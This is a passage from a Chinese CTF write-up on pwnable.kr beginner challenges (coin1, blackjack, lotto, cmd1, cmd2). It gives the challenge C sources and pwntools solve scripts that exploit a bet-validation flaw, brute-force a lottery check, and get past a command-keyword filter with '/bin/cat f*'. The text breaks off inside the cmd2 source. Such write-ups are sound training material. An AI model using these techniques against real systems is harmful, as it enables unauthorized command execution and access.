【CTF】pwnable.kr - Toddler's Bottle其二

2025/09/27 CTF 共 39564 字,约 114 分钟

pwnable.kr - Toddler’s Bottle其二

根据pwnable.kr网站规则,Toddler’s Bottle challenges被允许提供完整解析内容。 笔者并没有优化exploit.py,可能代码存在潜在的性能或者bug, 但是保证每个solution完全可以成功获取flag。

1. Toddler’s Bottle

1-9 coin1

先看目标游戏的主界面:

$ nc pwnable.kr 9007

    ---------------------------------------------------
	-              Shall we play a game?              -
	---------------------------------------------------

	You have given some gold coins in your hand
	however, there is one counterfeit coin among them
	counterfeit coin looks exactly same as real coin
	however, its weight is different from real one
	real coin weighs 10, counterfeit coin weighes 9
	help me to find the counterfeit coin with a scale
	if you find 100 counterfeit coins, you will get reward :)
	FYI, you have 60 seconds.

	- How to play -
	1. you get a number of coins (N) and number of chances (C)
	2. then you specify a set of index numbers of coins to be weighed
	3. you get the weight information
	4. 2~3 repeats C time, then you give the answer

	- Example -
	[Server] N=4 C=2 	# find counterfeit among 4 coins with 2 trial
	[Client] 0 1 		# weigh first and second coin
	[Server] 20			# scale result : 20
	[Client] 3			# weigh fourth coin
	[Server] 10			# scale result : 10
	[Client] 2 			# counterfeit coin is third!
	[Server] Correct!

	- Ready? starting in 3 sec... -

该题目作为一个游戏,提供100个硬币,在每堆硬币中找到假币(其中假币重量为9,其他重量为10),每堆硬币都设置了金币数和固定的尝试次数。

解决方案如下:

#!/usr/bin/env python3
from pwn import *
import time

# Set log level to debug for detailed output
context.log_level = 'debug'

def solve_round(proc):
    """
    Solve one round of the coin guessing game
    """
    try:
        # Receive game parameters
        proc.recvuntil(b"N=")
        line = proc.recvline().decode().strip()
        if not line:
            log.warning("No game parameters received")
            return False

        log.info(f"Received: N={line}")

        # Parse N and C parameters
        parts = line.split()
        n = int(parts[0])
        c = int(parts[1][2:])  # Remove "C=" prefix

        log.info(f"Round parameters: N={n}, C={c}")

        # Initialize binary search boundaries
        low, high = 0, n - 1
        answer = None

        # Perform binary search
        for i in range(c):
            # If answer is found, send it immediately
            if answer is not None:
                proc.sendline(str(answer))
                continue

            # Calculate midpoint
            mid = (low + high) // 2
            left_count = mid - low + 1

            # Send indices of left half coins
            coins_to_weigh = ' '.join(str(i) for i in range(low, mid + 1))
            proc.sendline(coins_to_weigh)

            # Receive and parse server response
            response = proc.recvline().decode().strip()
            if 'Correct' in response:
                return True  # Game ended

            weight = int(response)
            expected_weight = 10 * left_count

            if weight < expected_weight:
                # Fake coin is in left half
                high = mid
            else:
                # Fake coin is in right half
                low = mid + 1

            # Check if fake coin is found
            if low == high:
                answer = low

        # Send final answer
        if answer is None:
            answer = low  # Use current low if not found earlier

        proc.sendline(str(answer))
        result = proc.recvline().decode().strip()
        log.info(f"Result: {result}")
        return 'Correct' in result

    except Exception as e:
        log.error(f"Error processing round: {e}")
        return False

def main():
    """
    Main function to solve 100 rounds
    """
    # Establish SSH connection
    try:
        shell = ssh(host='pwnable.kr', user='coin1', port=2222, password='guest')
        # shell.download_file('readme', 'src/Toddler-Bottle/coin1/readme')
        proc = shell.process(["nc", "0", "9007"])
    except Exception as e:
        log.error(f"Connection failed: {e}")
        return

    # Skip initial prompt
    try:
        proc.recvuntil(b'3 sec... -\n')
        time.sleep(3.5)  # Ensure sufficient wait time
    except:
        log.warning("Failed to skip initial prompt")

    success_count = 0

    for round_num in range(100):
        log.info(f"Starting round {round_num + 1}")

        if solve_round(proc):
            success_count += 1
            log.success(f"Round {round_num + 1} completed successfully")
        else:
            log.warning(f"Round {round_num + 1} failed")

        # Brief pause to avoid rapid requests
        time.sleep(0.1)

    log.info(f"Completed {success_count}/100 rounds")

    # Retrieve flag
    try:
        proc.sendline(b'')  # Trigger flag output
        proc.recvuntil(b"Congrats! get your flag\n")
        flag = proc.recvline().decode().strip()
        log.success(f"Flag retrieved: {flag}")
    except:
        log.warning("Failed to retrieve flag")

    try:
        proc.close()
    except:
        pass

if __name__ == "__main__":
    main()

1-10 blackjack

该题目还是一个游戏,先看目标源码blackjack.c

// Programmer: Vladislav Shulman
// Final Project
// Blackjack

// Feel free to use any and all parts of this program and claim it as your own work

//FINAL DRAFT

#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <string.h>
#include <time.h>                //Used for srand((unsigned) time(NULL)) command

#define spade 'S'                 //Used to print spade symbol
#define club 'C'                  //Used to print club symbol
#define diamond 'D'               //Used to print diamond symbol
#define heart 'H'                 //Used to print heart symbol
#define RESULTS "Blackjack.txt"  //File name is Blackjack

//Global Variables
int k;
int l;
int d;
int won;
int loss;
int cash = 500;
int bet;
int random_card;
int player_total=0;
int dealer_total;

//Function Prototypes
int clubcard();      //Displays Club Card Image
int diamondcard();   //Displays Diamond Card Image
int heartcard();     //Displays Heart Card Image
int spadecard();     //Displays Spade Card Image
int randcard();      //Generates random card
int betting();       //Asks user amount to bet
void asktitle();     //Asks user to continue
void rules();        //Prints "Rules of Vlad's Blackjack" menu
void play();         //Plays game
void dealer();       //Function to play for dealer AI
void stay();         //Function for when user selects 'Stay'
void cash_test();    //Test for if user has cash remaining in purse
void askover();      //Asks if user wants to continue playing
void fileresults();  //Prints results into Blackjack.txt file in program directory

//Main Function
int main(void)
{
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);

    int choice1;
    printf("\n");
    printf("\n");
    printf("\n");
    printf("\n              222                111                            ");
    printf("\n            222 222            11111                              ");
    printf("\n           222   222          11 111                            ");
    printf("\n                222              111                               ");
    printf("\n               222               111                           ");
    printf("\n");
    printf("\n%c%c%c%c%c     %c%c            %c%c         %c%c%c%c%c    %c    %c                ", club, club, club, club, club, spade, spade, diamond, diamond, heart, heart, heart, heart, heart, club, club);
    printf("\n%c    %c    %c%c           %c  %c       %c     %c   %c   %c              ", club, club, spade, spade, diamond, diamond, heart, heart, club, club);
    printf("\n%c    %c    %c%c          %c    %c     %c          %c  %c               ", club, club, spade, spade, diamond, diamond, heart, club, club);
    printf("\n%c%c%c%c%c     %c%c          %c %c%c %c     %c          %c %c              ", club, club, club, club, club, spade, spade, diamond, diamond, diamond, diamond, heart, club, club);
    printf("\n%c    %c    %c%c         %c %c%c%c%c %c    %c          %c%c %c             ", club, club, spade, spade, diamond, diamond, diamond, diamond, diamond, diamond, heart, club, club, club);
    printf("\n%c     %c   %c%c         %c      %c    %c          %c   %c               ", club, club, spade, spade, diamond, diamond, heart, club, club);
    printf("\n%c     %c   %c%c        %c        %c    %c     %c   %c    %c             ", club, club, spade, spade, diamond, diamond, heart, heart, club, club);
    printf("\n%c%c%c%c%c%c    %c%c%c%c%c%c%c   %c        %c     %c%c%c%c%c    %c     %c            ", club, club, club, club, club, club, spade, spade, spade, spade, spade, spade, spade, diamond, diamond, heart, heart, heart, heart, heart, club, club);
    printf("\n");
    printf("\n                        21                                   ");

    printf("\n     %c%c%c%c%c%c%c%c      %c%c         %c%c%c%c%c    %c    %c                ", diamond, diamond, diamond, diamond, diamond, diamond, diamond, diamond, heart, heart, club, club, club, club, club, spade, spade);
    printf("\n        %c%c        %c  %c       %c     %c   %c   %c              ", diamond, diamond, heart, heart, club, club, spade, spade);
    printf("\n        %c%c       %c    %c     %c          %c  %c               ", diamond, diamond, heart, heart, club, spade, spade);
    printf("\n        %c%c       %c %c%c %c     %c          %c %c              ", diamond, diamond, heart, heart, heart, heart, club, spade, spade);
    printf("\n        %c%c      %c %c%c%c%c %c    %c          %c%c %c             ", diamond, diamond, heart, heart, heart, heart, heart, heart, club, spade, spade, spade);
    printf("\n        %c%c      %c      %c    %c          %c   %c               ", diamond, diamond, heart, heart, club, spade, spade);
    printf("\n     %c  %c%c     %c        %c    %c     %c   %c    %c             ", diamond, diamond, diamond, heart, heart, club, spade, spade);
    printf("\n      %c%c%c      %c        %c     %c%c%c%c%c    %c     %c            ", diamond, diamond, diamond, heart, heart, club, club, club, club, club, spade, spade);
    printf("\n");
    printf("\n         222                     111                         ");
    printf("\n        222                      111                         ");
    printf("\n       222                       111                         ");
    printf("\n      222222222222222      111111111111111                       ");
    printf("\n      2222222222222222    11111111111111111                         ");
    printf("\n");
    printf("\n");

    asktitle();

    printf("\n");
    printf("\n");
    return(0);
} //end program

void asktitle() // Function for asking player if they want to continue
{
    char choice1;
    int choice2;

     printf("\n                 Are You Ready?");
     printf("\n                ----------------");
     printf("\n                      (Y/N)\n                        ");
     scanf("\n%c",&choice1);

    while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // If invalid choice entered
    {
        printf("\n");
        printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n");
        scanf("%c",&choice1);
    }


    if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue. Prints menu.
    {
	    printf("\033[2J\033[1;1H");
            printf("\nEnter 1 to Begin the Greatest Game Ever Played.");
            printf("\nEnter 2 to See a Complete Listing of Rules.");
            printf("\nEnter 3 to Exit Game. (Not Recommended)");
            printf("\nChoice: ");
            scanf("%d", &choice2); // Prompts user for choice
            if((choice2<1) || (choice2>3)) // If invalid choice entered
            {
                printf("\nIncorrect Choice. Please enter 1, 2 or 3\n");
                scanf("%d", &choice2);
            }
            switch(choice2) // Switch case for different choices
            {
                case 1: // Case to begin game
                   printf("\033[2J\033[1;1H");
                   play();
                   break;

                case 2: // Case to see rules
                   printf("\033[2J\033[1;1H");
                   rules();
                   break;

                case 3: // Case to exit game
                   printf("\nYour day could have been perfect.");
                   printf("\nHave an almost perfect day!\n\n");
                   exit(0);
                   break;

                default:
                   printf("\nInvalid Input");
            } // End switch case
    } // End if loop



    else if((choice1 == 'N') || (choice1 == 'n')) // If no, exit program
    {
        printf("\nYour day could have been perfect.");
        printf("\nHave an almost perfect day!\n\n");
        printf("\033[2J\033[1;1H");
        exit(0);
    }

    return;
} // End function

void rules() //Prints "Rules of Vlad's Blackjack" list
{
     char choice1;
     int choice2;

     printf("\n           RULES of VLAD's BLACKJACK");
     printf("\n          ---------------------------");
     printf("\nI.");
     printf("\n     Thou shalt not question the odds of this game.");
     printf("\n      %c This program generates cards at random.", spade);
     printf("\n      %c If you keep losing, you are very unlucky!\n", diamond);

     printf("\nII.");
     printf("\n     Each card has a value.");
     printf("\n      %c Number cards 1 to 10 hold a value of their number.", spade);
     printf("\n      %c J, Q, and K cards hold a value of 10.", diamond);
     printf("\n      %c Ace cards hold a value of 11", club);
     printf("\n     The goal of this game is to reach a card value total of 21.\n");

     printf("\nIII.");
     printf("\n     After the dealing of the first two cards, YOU must decide whether to HIT or STAY.");
     printf("\n      %c Staying will keep you safe, hitting will add a card.", spade);
     printf("\n     Because you are competing against the dealer, you must beat his hand.");
     printf("\n     BUT BEWARE!.");
     printf("\n      %c If your total goes over 21, you will LOSE!.", diamond);
     printf("\n     But the world is not over, because you can always play again.\n");
     printf("\n%c%c%c YOUR RESULTS ARE RECORDED AND FOUND IN SAME FOLDER AS PROGRAM %c%c%c\n", spade, heart, club, club, heart, spade);
     printf("\nWould you like to go the previous screen? (I will not take NO for an answer)");
     printf("\n                  (Y/N)\n                    ");

     scanf("\n%c",&choice1);

    while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // If invalid choice entered
    {
        printf("\n");
        printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n");
        scanf("%c",&choice1);
    }


    if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue. Prints menu.
    {
            printf("\033[2J\033[1;1H");
            asktitle();
    } // End if loop



    else if((choice1 == 'N') || (choice1 == 'n')) // If no, convinces user to enter yes
    {
        printf("\033[2J\033[1;1H");
        printf("\n                 I told you so.\n");
        asktitle();
    }

    return;
} // End function

int clubcard() //Displays Club Card Image
{

    srand((unsigned) time(NULL)); //Generates random seed for rand() function
    k=rand()%13+1;

    if(k<=9) //If random number is 9 or less, print card with that number
    {
    //Club Card
    printf("-------\n");
    printf("|%c    |\n", club);
    printf("|  %d  |\n", k);
    printf("|    %c|\n", club);
    printf("-------\n");
    }


    if(k==10) //If random number is 10, print card with J (Jack) on face
    {
    //Club Card
    printf("-------\n");
    printf("|%c    |\n", club);
    printf("|  J  |\n");
    printf("|    %c|\n", club);
    printf("-------\n");
    }


    if(k==11) //If random number is 11, print card with A (Ace) on face
    {
    //Club Card
    printf("-------\n");
    printf("|%c    |\n", club);
    printf("|  A  |\n");
    printf("|    %c|\n", club);
    printf("-------\n");
    if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total
         {
             k=11;
         }

         else
         {

             k=1;
         }
    }


    if(k==12) //If random number is 12, print card with Q (Queen) on face
    {
    //Club Card
    printf("-------\n");
    printf("|%c    |\n", club);
    printf("|  Q  |\n");
    printf("|    %c|\n", club);
    printf("-------\n");
    k=10; //Set card value to 10
    }


    if(k==13) //If random number is 13, print card with K (King) on face
    {
    //Club Card
    printf("-------\n");
    printf("|%c    |\n", club);
    printf("|  K  |\n");
    printf("|    %c|\n", club);
    printf("-------\n");
    k=10; //Set card value to 10
    }
    return k;
}// End function

int diamondcard() //Displays Diamond Card Image
{

    srand((unsigned) time(NULL)); //Generates random seed for rand() function
    k=rand()%13+1;

    if(k<=9) //If random number is 9 or less, print card with that number
    {
    //Diamond Card
    printf("-------\n");
    printf("|%c    |\n", diamond);
    printf("|  %d  |\n", k);
    printf("|    %c|\n", diamond);
    printf("-------\n");
    }

    if(k==10) //If random number is 10, print card with J (Jack) on face
    {
    //Diamond Card
    printf("-------\n");
    printf("|%c    |\n", diamond);
    printf("|  J  |\n");
    printf("|    %c|\n", diamond);
    printf("-------\n");
    }

    if(k==11) //If random number is 11, print card with A (Ace) on face
    {
    //Diamond Card
    printf("-------\n");
    printf("|%c    |\n", diamond);
    printf("|  A  |\n");
    printf("|    %c|\n", diamond);
    printf("-------\n");
    if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total
         {
             k=11;
         }

         else
         {
             k=1;
         }
    }

    if(k==12) //If random number is 12, print card with Q (Queen) on face
    {
    //Diamond Card
    printf("-------\n");
    printf("|%c    |\n", diamond);
    printf("|  Q  |\n");
    printf("|    %c|\n", diamond);
    printf("-------\n");
    k=10; //Set card value to 10
    }

    if(k==13) //If random number is 13, print card with K (King) on face
    {
    //Diamond Card
    printf("-------\n");
    printf("|%c    |\n", diamond);
    printf("|  K  |\n");
    printf("|    %c|\n", diamond);
    printf("-------\n");
    k=10; //Set card value to 10
    }
    return k;
}// End function

int heartcard() //Displays Heart Card Image
{

    srand((unsigned) time(NULL)); //Generates random seed for rand() function
    k=rand()%13+1;

    if(k<=9) //If random number is 9 or less, print card with that number
    {
    //Heart Card
    printf("-------\n");
    printf("|%c    |\n", heart);
    printf("|  %d  |\n", k);
    printf("|    %c|\n", heart);
    printf("-------\n");
    }

    if(k==10) //If random number is 10, print card with J (Jack) on face
    {
    //Heart Card
    printf("-------\n");
    printf("|%c    |\n", heart);
    printf("|  J  |\n");
    printf("|    %c|\n", heart);
    printf("-------\n");
    }

    if(k==11) //If random number is 11, print card with A (Ace) on face
    {
    //Heart Card
    printf("-------\n");
    printf("|%c    |\n", heart);
    printf("|  A  |\n");
    printf("|    %c|\n", heart);
    printf("-------\n");
    if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total
         {
             k=11;
         }

         else
         {
             k=1;
         }
    }

    if(k==12) //If random number is 12, print card with Q (Queen) on face
    {
    //Heart Card
    printf("-------\n");
    printf("|%c    |\n", heart);
    printf("|  Q  |\n");
    printf("|    %c|\n", heart);
    printf("-------\n");
    k=10; //Set card value to 10
    }

    if(k==13) //If random number is 13, print card with K (King) on face
    {
    //Heart Card
    printf("-------\n");
    printf("|%c    |\n", heart);
    printf("|  K  |\n");
    printf("|    %c|\n", heart);
    printf("-------\n");
    k=10; //Set card value to 10
    }
    return k;
} // End Function

int spadecard() //Displays Spade Card Image
{

    srand((unsigned) time(NULL)); //Generates random seed for rand() function
    k=rand()%13+1;

    if(k<=9) //If random number is 9 or less, print card with that number
    {
    //Spade Card
    printf("-------\n");
    printf("|%c    |\n", spade);
    printf("|  %d  |\n", k);
    printf("|    %c|\n", spade);
    printf("-------\n");
    }

    if(k==10) //If random number is 10, print card with J (Jack) on face
    {
    //Spade Card
    printf("-------\n");
    printf("|%c    |\n", spade);
    printf("|  J  |\n");
    printf("|    %c|\n", spade);
    printf("-------\n");
    }

    if(k==11) //If random number is 11, print card with A (Ace) on face
    {
    //Spade Card
    printf("-------\n");
    printf("|%c    |\n", spade);
    printf("|  A  |\n");
    printf("|    %c|\n", spade);
    printf("-------\n");
    if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total
         {
             k=11;
         }

         else
         {
             k=1;
         }
    }

    if(k==12) //If random number is 12, print card with Q (Queen) on face
    {
    //Spade Card
    printf("-------\n");
    printf("|%c    |\n", spade);
    printf("|  Q  |\n");
    printf("|    %c|\n", spade);
    printf("-------\n");
    k=10; //Set card value to 10
    }

    if(k==13) //If random number is 13, print card with K (King) on face
    {
    //Spade Card
    printf("-------\n");
    printf("|%c    |\n", spade);
    printf("|  K  |\n");
    printf("|    %c|\n", spade);
    printf("-------\n");
    k=10; //Set card value to 10
    }
    return k;
} // End Function

int randcard() //Generates random card
{

     srand((unsigned) time(NULL)); //Generates random seed for rand() function
     random_card = rand()%4+1;

     if(random_card==1)
     {
         clubcard();
         l=k;
     }

     if(random_card==2)
     {
         diamondcard();
         l=k;
     }

     if(random_card==3)
     {
         heartcard();
         l=k;
     }

     if(random_card==4)
     {
         spadecard();
         l=k;
     }
     return l;
} // End Function


void play() //Plays game
{

     int p=0; // holds value of player_total
     int i=1; // counter for asking user to hold or stay (aka game turns)
     char choice3;

     cash = cash;
     cash_test();
     printf("\nCash: $%d\n",cash); //Prints amount of cash user has
     randcard(); //Generates random card
     player_total = p + l; //Computes player total
     p = player_total;
     printf("\nYour Total is %d\n", p); //Prints player total
     dealer(); //Computes and prints dealer total
     betting(); //Prompts user to enter bet amount

     while(i<=21) //While loop used to keep asking user to hit or stay at most twenty-one times
                  //  because there is a chance user can generate twenty-one consecutive 1's
     {
         if(p==21) //If user total is 21, win
         {
             printf("\nUnbelievable! You Win!\n");
             won = won+1;
             cash = cash+bet;
             printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
             dealer_total=0;
             askover();
         }

         if(p>21) //If player total is over 21, loss
         {
             printf("\nWoah Buddy, You Went WAY over.\n");
             loss = loss+1;
             cash = cash - bet;
             printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
             dealer_total=0;
             askover();
         }

         if(p<=21) //If player total is less than 21, ask to hit or stay
         {
             printf("\n\nWould You Like to Hit or Stay?");

             scanf("%c", &choice3);
             while((choice3!='H') && (choice3!='h') && (choice3!='S') && (choice3!='s')) // If invalid choice entered
             {
                 printf("\n");
                 printf("Please Enter H to Hit or S to Stay.\n");
                 scanf("%c",&choice3);
             }

             if((choice3=='H') || (choice3=='h')) // If Hit, continues
             {
                 randcard();
                 player_total = p + l;
                 p = player_total;
                 printf("\nYour Total is %d\n", p);
                 dealer();
                  if(dealer_total==21) //Is dealer total is 21, loss
                  {
                      printf("\nDealer Has the Better Hand. You Lose.\n");
                      loss = loss+1;
                      cash = cash - bet;
                      printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
                      dealer_total=0;
                      askover();
                  }

                  if(dealer_total>21) //If dealer total is over 21, win
                  {
                      printf("\nDealer Has Went Over!. You Win!\n");
                      won = won+1;
                      cash = cash+bet;
                      printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
                      dealer_total=0;
                      askover();
                  }
             }
             if((choice3=='S') || (choice3=='s')) // If Stay, does not continue
             {
                printf("\nYou Have Chosen to Stay at %d. Wise Decision!\n", player_total);
                stay();
             }
          }
             i++; //While player total and dealer total are less than 21, re-do while loop
     } // End While Loop
} // End Function

void dealer() //Function to play for dealer AI
{
     int z;

     if(dealer_total<17)
     {
      srand((unsigned) time(NULL) + 1); //Generates random seed for rand() function
      z=rand()%13+1;
      if(z<=10) //If random number generated is 10 or less, keep that value
      {
         d=z;

      }

      if(z>11) //If random number generated is more than 11, change value to 10
      {
         d=10;
      }

      if(z==11) //If random number is 11(Ace), change value to 11 or 1 depending on dealer total
      {
         if(dealer_total<=10)
         {
             d=11;
         }

         else
         {
             d=1;
         }
      }
     dealer_total = dealer_total + d;
     }

     printf("\nThe Dealer Has a Total of %d", dealer_total); //Prints dealer total

} // End Function

void stay() //Function for when user selects 'Stay'
{
     dealer(); //If stay selected, dealer continues going
     if(dealer_total>=17)
     {
      if(player_total>=dealer_total) //If player's total is more than dealer's total, win
      {
         printf("\nUnbelievable! You Win!\n");
         won = won+1;
         cash = cash+bet;
         printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
         dealer_total=0;
         askover();
      }
      if(player_total<dealer_total) //If player's total is less than dealer's total, loss
      {
         printf("\nDealer Has the Better Hand. You Lose.\n");
         loss = loss+1;
         cash = cash - bet;
         printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
         dealer_total=0;
         askover();
      }
      if(dealer_total>21) //If dealer's total is more than 21, win
      {
         printf("\nUnbelievable! You Win!\n");
         won = won+1;
         cash = cash+bet;
         printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
         dealer_total=0;
         askover();
      }
     }
     else
     {
         stay();
     }

} // End Function

void cash_test() //Test for if user has cash remaining in purse
{
     if (cash <= 0) //Once user has zero remaining cash, game ends and prompts user to play again
     {
        printf("You Are Bankrupt. Game Over");
        cash = 500;
        askover();
     }
     if (cash > 1000000){
     	FILE* fp=fopen("flag", "r");
	char buf[100];
	memset(buf, 0, 100);
	fread(buf, 1, 100, fp);
	printf("%s\n", buf);
	fclose(fp);
     }
} // End Function

int betting() //Asks user amount to bet
{
 printf("\n\nEnter Bet: $");
 scanf("%d", &bet);

 if (bet > cash) //If player tries to bet more money than player has
 {
        printf("\nYou cannot bet more money than you have.");
        printf("\nEnter Bet: ");
        scanf("%d", &bet);
        return bet;
 }
 else return bet;
} // End Function

void askover() // Function for asking player if they want to play again
{
    char choice1;

     printf("\nWould You Like To Play Again?");
     printf("\nPlease Enter Y for Yes or N for No\n");
     scanf("\n%c",&choice1);

    while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // If invalid choice entered
    {
        printf("\n");
        printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n");
        scanf("%c",&choice1);
    }


    if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue.
    {
            printf("\033[2J\033[1;1H");
            play();
    }

    else if((choice1 == 'N') || (choice1 == 'n')) // If no, exit program
    {
        fileresults();
        printf("\nBYE!!!!\n\n");
        printf("\033[2J\033[1;1H");
        exit(0);
    }
    return;
} // End function

void fileresults() //Prints results into Blackjack.txt file in program directory
{
     return;
} // End Function

题目提供了参考http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html

最终解决方案如下:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

context.log_level = "debug"

# Establish SSH connection
shell = ssh(host="pwnable.kr", user="blackjack", port=2222, password="guest")
# shell.download_file('blackjack', 'src/Toddler-Bottle/blackjack/blackjack')
# shell.download_file('blackjack.c', 'src/Toddler-Bottle/blackjack/blackjack.c')
# shell.download_file('readme', 'src/Toddler-Bottle/blackjack/readme')

def play(proc):
    """
    Execute one game round using the negative bet vulnerability to obtain flag
    Returns True if flag is successfully obtained
    """
    try:
        # Skip initial prompts
        proc.recvuntil(b"Are You Ready?")
        proc.sendline(b"y")

        # Start game
        proc.recvuntil(b"Choice:")
        proc.sendline(b"1")

        # Get initial player total
        proc.recvuntil(b"Your Total is ")
        player_score = int(proc.recvline().decode().strip())
        log.info(f"Initial player score: {player_score}")

        # Place first invalid bet (exceeds balance)
        proc.recvuntil(b"Enter Bet: $")
        proc.sendline(b"10000000000")

        # Handle error and place negative bet
        proc.recvuntil(b"You cannot bet more money than you have.")
        proc.recvuntil(b"Enter Bet: ")
        proc.sendline(b"10000000000")
        log.info("Sent negative bet: 10000000000")

        # Gameplay decisions
        proc.recvuntil(b"Please Enter H to Hit or S to Stay.")
        while player_score < 17:  # Hit if total < 17
            proc.sendline(b"H")
            log.info(f"Player score {player_score} < 17, choosing Hit")

            proc.recvuntil(b"Your Total is ")
            player_score = int(proc.recvline().decode().strip())
            log.info(f"Updated player score: {player_score}")

            proc.recvuntil(b"The Dealer Has a Total of ")
            dealer_score = int(proc.recvline().decode().strip())
            log.info(f"Updated dealer score: {dealer_score}")

            game_state = proc.recvline().decode().strip()
            if "Unbelievable! You Win!" in game_state:
                proc.recvuntil(b"Please Enter Y for Yes or N for No\n").decode()
                proc.sendline(b"Y")
                flag_data = proc.recvline().decode()[0xa:]
                log.success(f"Flag obtained: {flag_data}")
                return True
            elif "Woah Buddy, You Went WAY over." in game_state:
                return False

            proc.recvuntil(b"Please Enter H to Hit or S to Stay.")
            if player_score > 21:  # Check for bust
                log.info("Player busted")
                break

        # Stay if total is safe
        if player_score <= 21:
            proc.sendline(b"S")
            log.info(f"Chose to Stay at {player_score}")

        # Check game result
        response_lines = proc.recvuntil(b"Please Enter Y for Yes or N for No\n").decode()
        log.debug(f"Received response: {response_lines}")
        if "Unbelievable! You Win!" in response_lines:
            proc.sendline(b"Y")
            flag_data = proc.recvline().decode()[0xa:]
            log.success(f"Flag obtained: {flag_data}")
            return True
        else:
            proc.sendline(b"N")
            return False

    except EOFError:
        log.error("Connection terminated unexpectedly")
        return False
    except Exception as error:
        log.error(f"Error executing game round: {error}")
        return False

def exploit():
    max_attempts = 5
    for attempt in range(max_attempts):
        log.info(f"Attempt {attempt+1}/{max_attempts}")
        try:
            proc = shell.process(["nc", "0", "9009"])
            success = play(proc)
            if success:
                break
        except Exception as error:
            log.error(f"Execution error: {error}")
        finally:
            try:
                proc.close()
            except:
                pass

if __name__ == "__main__":
    exploit()

1-11 lotto

还是游戏相关:),先看目标源码lotto.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){

	int i;
	printf("Submit your 6 lotto bytes : ");
	fflush(stdout);

	int r;
	r = read(0, submit, 6);

	printf("Lotto Start!\n");
	//sleep(1);

	// generate lotto numbers
	int fd = open("/dev/urandom", O_RDONLY);
	if(fd==-1){
		printf("error. tell admin\n");
		exit(-1);
	}
	unsigned char lotto[6];
	if(read(fd, lotto, 6) != 6){
		printf("error2. tell admin\n");
		exit(-1);
	}
	for(i=0; i<6; i++){
		lotto[i] = (lotto[i] % 45) + 1;		// 1 ~ 45
	}
	close(fd);

	// calculate lotto score
	int match = 0, j = 0;
	for(i=0; i<6; i++){
		for(j=0; j<6; j++){
			if(lotto[i] == submit[j]){
				match++;
			}
		}
	}

	// win!
	if(match == 6){
		setregid(getegid(), getegid());
		system("/bin/cat flag");
	}
	else{
		printf("bad luck...\n");
	}

}

void help(){
	printf("- nLotto Rule -\n");
	printf("nlotto is consisted with 6 random natural numbers less than 46\n");
	printf("your goal is to match lotto numbers as many as you can\n");
	printf("if you win lottery for *1st place*, you will get reward\n");
	printf("for more details, follow the link below\n");
	printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
	printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

	// menu
	unsigned int menu;

	while(1){

		printf("- Select Menu -\n");
		printf("1. Play Lotto\n");
		printf("2. Help\n");
		printf("3. Exit\n");

		scanf("%d", &menu);

		switch(menu){
			case 1:
				play();
				break;
			case 2:
				help();
				break;
			case 3:
				printf("bye\n");
				return 0;
			default:
				printf("invalid menu\n");
				break;
		}
	}
	return 0;
}

brute-force 解决方案如下:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'

shell = ssh(host='pwnable.kr', user='lotto', port=2222, password='guest')

proc = shell.process(['./lotto'])
proc.recvuntil(b'3. Exit\n')
proc.sendline(b'1')

payload = b'\x01' * 6
for i in range(10):
    proc.recvuntil(b'Submit your 6 lotto bytes :')
    proc.sendline(payload)
    proc.recvuntil(b'Lotto Start!\n')
    flag = proc.recvline().decode()
    if 'bad luck...' in flag:
        proc.recvuntil(b'3. Exit\n')
        proc.sendline(b'1')
    else:
        log.info(f"flag : {flag}")
        break

1-12 cmd1

该题考察对Linux Shell技巧,先看目标源码cmd1.c

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
	int r=0;
	r += strstr(cmd, "flag")!=0;
	r += strstr(cmd, "sh")!=0;
	r += strstr(cmd, "tmp")!=0;
	return r;
}
int main(int argc, char* argv[], char** envp){
	putenv("PATH=/thankyouverymuch");
	if(filter(argv[1])) return 0;
	setregid(getegid(), getegid());
	system( argv[1] );
	return 0;
}

由于该题太简单了,直接提供解决方案。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'

shell = ssh(host='pwnable.kr', user='cmd1', port=2222, password='guest')

proc = shell.process(['./cmd1', '/bin/cat f*'])
flag = proc.recvline().decode()
log.info(f"flag: {flag}")

1-13 cmd2

该题是上一题目的加强版,明显提升了不少难度。先看目标源码cmd2.c。

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
	int r=0;
	r += strstr(cmd, "=")!=0;
	r += strstr(cmd, "PATH")!=0;
	r += strstr(cmd, "export")!=0;
	r += strstr(cmd, "/")!=0;
	r += strstr(cmd, "`")!=0;
	r += strstr(cmd, "flag")!=0;
	return r;
}

extern char** environ;
void delete_env(){
	char** p;
	for(p=environ; *p; p++)	memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
	delete_env();
	putenv("PATH=/no_command_execution_until_you_become_a_hacker");
	if(filter(argv[1])) return 0;
	printf("%s\n", argv[1]);
